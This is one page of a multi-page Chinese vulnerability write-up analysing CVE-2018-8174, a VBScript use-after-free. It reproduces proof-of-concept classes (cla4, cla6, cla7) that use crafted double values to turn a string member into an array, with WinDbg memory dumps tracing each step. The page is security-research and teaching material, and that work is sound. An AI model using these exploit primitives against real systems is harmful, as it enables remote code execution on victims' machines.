CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
00370d34  "cla4"
以上为poc中的UAF函数的作用与原理,接下来看 InitObjects
3.2.PoC中的InitObjects
同样的我们在代码里面加入IsEmpty来便于调试
Sub InitObjects
    IsEmpty(MyClass2_obj1)
    MyClass2_obj1.SetProp(cla6_obj1)  '调用了两次 MyClass2_obj1的SetProp函数,分别传入的参数为 cla6_obj1
    IsEmpty(MyClass2_obj1)
   
    IsEmpty(MyClass2_obj2)
    MyClass2_obj2.SetProp(cla7_obj1)  '参数为cla7_obj1
    IsEmpty(MyClass2_obj2)
    spec_int_1=MyClass2_obj2.mem
   
End Sub
Class MyClass2
    Dim mem
    Function P
    End Function
    Function SetProp(Value)
        'IsEmpty("Enter MyClass2:SetPro")
        mem=0
        mem=Value      '分别会调用cla6与cla7的Get P
        SetProp=0
    End Function
End Class
Class cla6
    Public Default Property Get P
        'IsEmpty("cal6:call Get P")
        Dim cla5_obj1
        P=174088534690791e-324
        For i=0 To 6
            array_b(i)=0
        Next
        'IsEmpty("finish set array_b to 0")
        Set cla5_obj1=New cla5
        cla5_obj1.mem=str_1
        'IsEmpty(cla5_obj1)
        For i=0 To 6
            Set array_b(i)=cla5_obj1
        Next
    End Property
End Class
Class cla7
    Public Default Property Get P
        Dim cla5_obj1
        P=636598737289582e-328
        For i=0 To 6
            array_c(i)= 0
        Next
        'IsEmpty("finish set array_c to 0")
        Set cla5_obj1=New cla5
        cla5_obj1.mem=str_2
        'IsEmpty(cla5_obj1)
        For i= 0 To 6
            Set array_c(i)=cla5_obj1
        Next
    End Property
End Class
执行前:
//查看cla4_obj1的地址
0:006> dd 010526e0
010526e0  6ab11748 00000002 010345e0 0049e910 //cla4_obj1.mem的地址
010526f0  00000808 00000000 00000000 00000000
01052700  00000000 003af554 01052718 010526a8
01052710  5e163a1d 88000000 6ab11748 00000001
01052720  01034700 0049e910 00000808 00000000
01052730  00000000 00000000 00000000 00370d34
01052740  00000000 010526e0 5e163a16 80000000
01052750  000000d4 00010a41 00000000 00000000
0:006> du 003af554
003af554  "cla4"
执行到cla4_obj1.SetProp(cla6_obj1)这里的时候,去调用cla4的SetProp函数
Class cla4
    Dim mem
    Function P
    End Function
    Function SetProp(Value)
        IsEmpty("enter cla4:SetPro")
        mem=0
        mem=Value    '这一步会调用cla6的Get P
        SetProp=0
    End Function
End Class
在Get P中实现了又一次的占位与一次类型的替换:
Class cla6
    Public Default Property Get P    'Property Get 语句 用来取得(返回)的值  
        IsEmpty("cal6:call Get P")
        Dim cla5_obj1
  'CDbl是转换成双精度浮点数据类型
  ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
        P=CDbl("174088534690791e-324")   'P是返回值 对cla4_mem赋值,把string改为array类型
        For i=0 To 6   'array_b保存了cla1 object的引用,而cla1 object被释放后是由

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页